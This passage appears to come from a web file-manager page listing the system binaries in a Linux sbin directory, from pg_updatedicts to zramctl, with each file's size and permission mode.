| pg_updatedicts | File | 4.26 KB | 0755 |
|
| php-fpm8.3 | File | 5.5 MB | 0755 |
|
| phpdismod | File | 7.11 KB | 0755 |
|
| phpenmod | File | 7.11 KB | 0755 |
|
| phpquery | File | 6.24 KB | 0755 |
|
| pivot_root | File | 14.38 KB | 0755 |
|
| plymouthd | File | 150.55 KB | 0755 |
|
| poweroff | File | 1.06 MB | 0755 |
|
| pvchange | File | 2.89 MB | 0755 |
|
| pvck | File | 2.89 MB | 0755 |
|
| pvcreate | File | 2.89 MB | 0755 |
|
| pvdisplay | File | 2.89 MB | 0755 |
|
| pvmove | File | 2.89 MB | 0755 |
|
| pvremove | File | 2.89 MB | 0755 |
|
| pvresize | File | 2.89 MB | 0755 |
|
| pvs | File | 2.89 MB | 0755 |
|
| pvscan | File | 2.89 MB | 0755 |
|
| pwck | File | 50.13 KB | 0755 |
|
| pwconv | File | 46.01 KB | 0755 |
|
| pwunconv | File | 42.01 KB | 0755 |
|
| qemu-ga | File | 647.63 KB | 0755 |
|
| readprofile | File | 22.41 KB | 0755 |
|
| reboot | File | 1.06 MB | 0755 |
|
| remove-shell | File | 1.07 KB | 0755 |
|
| resize2fs | File | 66.3 KB | 0755 |
|
| rmmod | File | 166.36 KB | 0755 |
|
| rmt | File | 58.57 KB | 0755 |
|
| rmt-tar | File | 58.57 KB | 0755 |
|
| rsyslogd | File | 767.19 KB | 0755 |
|
| rtacct | File | 28.31 KB | 0755 |
|
| rtcwake | File | 34.38 KB | 0755 |
|
| rtmon | File | 90.39 KB | 0755 |
|
| runlevel | File | 1.06 MB | 0755 |
|
| runuser | File | 54.38 KB | 0755 |
|
| service | File | 8.88 KB | 0755 |
|
| setcap | File | 14.3 KB | 0755 |
|
| setvesablank | File | 14.23 KB | 0755 |
|
| setvtrgb | File | 14.29 KB | 0755 |
|
| sfdisk | File | 102.38 KB | 0755 |
|
| sgdisk | File | 162.48 KB | 0755 |
|
| shadowconfig | File | 885 B | 0755 |
|
| shutdown | File | 1.06 MB | 0755 |
|
| split-logfile | File | 2.36 KB | 0755 |
|
| sshd | File | 899.7 KB | 0755 |
|
| start-stop-daemon | File | 47.35 KB | 0755 |
|
| sudo_logsrvd | File | 200.1 KB | 0755 |
|
| sudo_sendlog | File | 107.34 KB | 0755 |
|
| sulogin | File | 42.38 KB | 0755 |
|
| swaplabel | File | 18.38 KB | 0755 |
|
| swapoff | File | 22.38 KB | 0755 |
|
| swapon | File | 42.38 KB | 0755 |
|
| switch_root | File | 22.38 KB | 0755 |
|
| sysctl | File | 30.23 KB | 0755 |
|
| tarcat | File | 936 B | 0755 |
|
| tc | File | 614.08 KB | 0755 |
|
| telinit | File | 1.06 MB | 0755 |
|
| thin_check | File | 1.33 MB | 0755 |
|
| thin_delta | File | 1.33 MB | 0755 |
|
| thin_dump | File | 1.33 MB | 0755 |
|
| thin_ls | File | 1.33 MB | 0755 |
|
| thin_metadata_size | File | 1.33 MB | 0755 |
|
| thin_repair | File | 1.33 MB | 0755 |
|
| thin_restore | File | 1.33 MB | 0755 |
|
| thin_rmap | File | 1.33 MB | 0755 |
|
| thin_trim | File | 1.33 MB | 0755 |
|
| tipc | File | 90.44 KB | 0755 |
|
| tune2fs | File | 102.55 KB | 0755 |
|
| tzconfig | File | 106 B | 0755 |
|
| u-d-c-print-pci-ids | File | 517 B | 0755 |
|
| ufw | File | 4.82 KB | 0755 |
|
| umount.udisks2 | File | 14.3 KB | 0755 |
|
| unix_chkpwd | File | 26.15 KB | 2755 |
|
| unix_update | File | 30.15 KB | 0755 |
|
| update-ca-certificates | File | 5.29 KB | 0755 |
|
| update-grub | File | 64 B | 0755 |
|
| update-grub-gfxpayload | File | 301 B | 0755 |
|
| update-grub2 | File | 64 B | 0755 |
|
| update-icon-caches | File | 596 B | 0755 |
|
| update-info-dir | File | 1.66 KB | 0755 |
|
| update-initramfs | File | 6.74 KB | 0755 |
|
| update-java-alternatives | File | 3.09 KB | 0755 |
|
| update-locale | File | 2.99 KB | 0755 |
|
| update-mime | File | 9.39 KB | 0755 |
|
| update-passwd | File | 34.56 KB | 0755 |
|
| update-pciids | File | 1.71 KB | 0755 |
|
| update-rc.d | File | 16.92 KB | 0755 |
|
| update-shells | File | 3.72 KB | 0755 |
|
| upgrade-from-grub-legacy | File | 1.56 KB | 0755 |
|
| useradd | File | 127.66 KB | 0755 |
|
| userdel | File | 86.85 KB | 0755 |
|
| usermod | File | 123.46 KB | 0755 |
|
| uuidd | File | 30.85 KB | 0755 |
|
| validlocale | File | 1.73 KB | 0755 |
|
| vcstime | File | 14.15 KB | 0755 |
|
| vdpa | File | 30.56 KB | 0755 |
|
| veritysetup | File | 43.76 KB | 0755 |
|
| vgcfgbackup | File | 2.89 MB | 0755 |
|
| vgcfgrestore | File | 2.89 MB | 0755 |
|
| vgchange | File | 2.89 MB | 0755 |
|
| vgck | File | 2.89 MB | 0755 |
|
| vgconvert | File | 2.89 MB | 0755 |
|
| vgcreate | File | 2.89 MB | 0755 |
|
| vgdisplay | File | 2.89 MB | 0755 |
|
| vgexport | File | 2.89 MB | 0755 |
|
| vgextend | File | 2.89 MB | 0755 |
|
| vgimport | File | 2.89 MB | 0755 |
|
| vgimportclone | File | 2.89 MB | 0755 |
|
| vgmerge | File | 2.89 MB | 0755 |
|
| vgmknodes | File | 2.89 MB | 0755 |
|
| vgreduce | File | 2.89 MB | 0755 |
|
| vgremove | File | 2.89 MB | 0755 |
|
| vgrename | File | 2.89 MB | 0755 |
|
| vgs | File | 2.89 MB | 0755 |
|
| vgscan | File | 2.89 MB | 0755 |
|
| vgsplit | File | 2.89 MB | 0755 |
|
| vigr | File | 56.53 KB | 0755 |
|
| vipw | File | 56.53 KB | 0755 |
|
| visudo | File | 219.79 KB | 0755 |
|
| vpddecode | File | 14.58 KB | 0755 |
|
| wipefs | File | 38.38 KB | 0755 |
|
| xfs_admin | File | 1.37 KB | 0755 |
|
| xfs_bmap | File | 695 B | 0755 |
|
| xfs_copy | File | 82.48 KB | 0755 |
|
| xfs_db | File | 652.44 KB | 0755 |
|
| xfs_estimate | File | 14.16 KB | 0755 |
|
| xfs_freeze | File | 800 B | 0755 |
|
| xfs_fsr | File | 42.18 KB | 0755 |
|
| xfs_growfs | File | 38.28 KB | 0755 |
|
| xfs_info | File | 1.26 KB | 0755 |
|
| xfs_io | File | 199.55 KB | 0755 |
|
| xfs_logprint | File | 78.33 KB | 0755 |
|
| xfs_mdrestore | File | 26.17 KB | 0755 |
|
| xfs_metadump | File | 782 B | 0755 |
|
| xfs_mkfile | File | 1.02 KB | 0755 |
|
| xfs_ncheck | File | 685 B | 0755 |
|
| xfs_quota | File | 90.16 KB | 0755 |
|
| xfs_repair | File | 599.38 KB | 0755 |
|
| xfs_rtcp | File | 18.15 KB | 0755 |
|
| xfs_scrub | File | 106.27 KB | 0755 |
|
| xfs_scrub_all | File | 5.87 KB | 0755 |
|
| xfs_spaceman | File | 42.3 KB | 0755 |
|
| xtables-legacy-multi | File | 96.95 KB | 0755 |
|
| xtables-monitor | File | 219.04 KB | 0755 |
|
| xtables-nft-multi | File | 219.04 KB | 0755 |
|
| zabbix_agentd | File | 1.73 MB | 0755 |
|
| zerofree | File | 14.15 KB | 0755 |
|
| zic | File | 62.32 KB | 0755 |
|
| zramctl | File | 54.52 KB | 0755 |
|